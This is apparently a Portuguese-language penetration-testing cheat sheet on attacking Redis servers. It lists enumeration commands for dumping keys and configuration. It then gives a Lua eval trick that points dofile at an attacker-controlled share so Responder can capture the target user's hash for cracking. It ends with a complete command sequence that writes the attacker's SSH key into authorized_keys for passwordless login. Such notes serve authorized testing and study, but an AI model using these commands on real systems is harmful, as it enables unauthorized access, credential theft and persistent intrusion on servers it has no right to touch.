Redis
Comandos Básicos
Modo Interativo
Conectando ao host
redis-cli -h <ip>
Após se conectar, utilize os comandos abaixo para buscar a maior quantidade de informações possíveis.
COMANDO
DESCRIÇÃO
INFO
Informações sobre a execução do Redis
client list
Lista todos os clientes que estão conectados no momento
SET <key> <value>
Define um determinado valor em uma variável
GET <key>
Exibe o valor de determinada variável
CONFIG GET *
Retorna todas as configurações
CONFIG GET dir
Retorna as configurações do diretório atual
CONFIG SET dir </path/directory>
Define um diretório. Isso também pode ser útil para saber se determinado diretório existe no servidor ou não
INFO keyspace
Buscando por todos os keyspaces (databases). Por padrão, o Redis usará o banco de dados 0
, mas note que pode haver mais, como o 1
, por exemplo. Note que ele possui uma determinada quantidade de keys que pode ser lido (dump)
= Utilize o comando acima para saber o número do keyspace.
Utilize o comando acima para saber o número do keyspace
KEYS *
Execute somente depois de selecionar o keyspace utilizando o comando acima, pois assim irá fazer o dump das chaves de um determinado keyspace
GET <key>
Pegando o valor de determinado key, resultante do comando acima
--stat
Status atual
Lendo Arquivos Locais
OBS.: Nos testes que fiz, a leitura de arquivos não funcionou, talvez por conta da versão do Redis (ou não). Talvez possa ser apenas uma maneira de saber se um determinado arquivo existe ou não no servidor. Assim que realizar novos testes, irei atualizar isso.
eval "dofile('C:\\\\Users\\\\<user>\\\\Desktop\\\\<file.txt>')" 0
Pegando Hash do Usuário
Primeiro ative o Responder com o comando:
responder -I <interface> -rdvw
Depois acesse o Redis no modo interativo (comando no início dessa página) e depois execute os comandos:
# Lendo arquivo remoto
eval "dofile('//<ip_atacante>/share')" 0
Ao acessarmos o servidor remoto (que executa o Responder), somos capazes de pegar o usuário presente no host alvo e sua hash. Próximo passo agora, é quebrar esse hash através de um Brute Force (clique no link abaixo para mais detalhes).
OfflineModo não Interativo
Verificando status do atual do Redis
redis-cli -h <ip> --stat
Executando o comando no Redis sem deixa o terminal no modo interativo
redis-cli -h <ip> -p <port> -r -x <command>
Executa o comando ping
determinada quantidade de vezes
redis-cli -h <ip> -p <port> -r <quantidade> ping
Listando variáveis
redis-cli -h <ip> -p <port> --scan
Pegando Acesso SSH via Redis
Redis na versão 4.0 e 5.0 são vulneráveis a execução de comando sem precisar de autenticação. Note que o parâmetro -p por default será 6379.
# Gerando chave SSH
# Vide na seção Utilização do Linux para mais detalhes
ssh-keygen -t rsa
# Caso a linha abaixo dê erro, substitua os 2 "\n\n" por "\r\n"
(echo -e "\n\n" ; cat ~/.ssh/id_rsa.pub ; echo -e "\n\n") > ~/key.txt
cat ~/key.txt | redis-cli -h <ip> -p <port> -x set ssh_key
# Redis
redis-cli -h <ip> -p <port>
# Altere para outro diretorio se preciso, como /home/redis/.ssh
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
save
exit
# Acessando via SSH (sem precisar de senha)
ssh redis@<ip>
Sites
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
Last updated
Was this helpful?